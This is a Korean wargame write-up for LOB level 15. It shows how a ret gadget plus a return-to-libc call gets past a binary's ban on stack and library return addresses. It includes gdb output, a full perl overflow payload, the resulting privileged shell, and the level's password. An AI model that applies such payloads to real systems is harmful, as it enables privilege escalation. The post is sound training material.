IT 그리고 정보보안/Write-up

LOB Level 15 (giant)

plummmm 2021. 4. 12. 19:12
반응형

 

assasin.c 를 열어보자.

 

이건 또 뭐하는 놈인가. no stack, no RTL?

일단 스택, 라이브러리 영역으로 eip를 돌릴 수가 없다.

에헤이.. 그럼 도대체 어디다가 하란 말이오...

 

코드영역(텍스트 영역)이 남아 있는데.. 코드영역을 활용해서 공격을 할 수 있을지 생각해보자.

어셈블리 코드는 코드영역 상에 있는 주소 그 위치에 있다. gdb돌리면 나옴

명령어 별로 그 주소를 가젯이라고 한다.

RET 가젯을 이용하면 되지 않을까.

 

이것에 대해서 선행으로 미리 공부를 한 적이 있어서 쉽게 생각할 수 있었다.

 

RET가젯은 gdb로 쉽게 알 수 있다.

 

RET가젯을 RET자리에 올리고 RTL을 해보자.

"/bin/sh"의 주소는 접때 구해놓은 것을 쓰겠다. ----> 0x400fbff9

 

페이로드부터 일단 짜보면

[nop 44] [&RET 가젯] [&system함수] [nop 4] ["/bin/sh" 주소]

​이렇다. 그럼 저 페이로드 대로 공격을 한번 해보자.

 

[giant@localhost giant]$ gdb -q assassim

(gdb) set disassembly-flavor intel

(gdb) b *main

Breakpoint 1 at 0x8048470

(gdb) r aaa bbb

Starting program: /home/giant/assassim aaa bbb

 

Breakpoint 1, 0x8048470 in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) quit

The program is running.  Exit anyway? (y or n) y

[giant@localhost giant]$ ./assassin `perl -e 'print "\x90"x44, "\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\x90"x4,"\xf9\xbf\x0f\x40"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@릱릱廈@

bash$ id

uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)

bash$ my-pass

euid = 515

pushing me away

bash$

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 17 (zombie_assassin)  (0) 2021.04.12
LOB Level 16 (assassin)  (0) 2021.04.12
LOB Level 14 (bugbear)  (0) 2021.04.12
LOB Level 13 (darkknight)  (0) 2021.04.12
LOB Level 12 (golem)  (0) 2021.04.12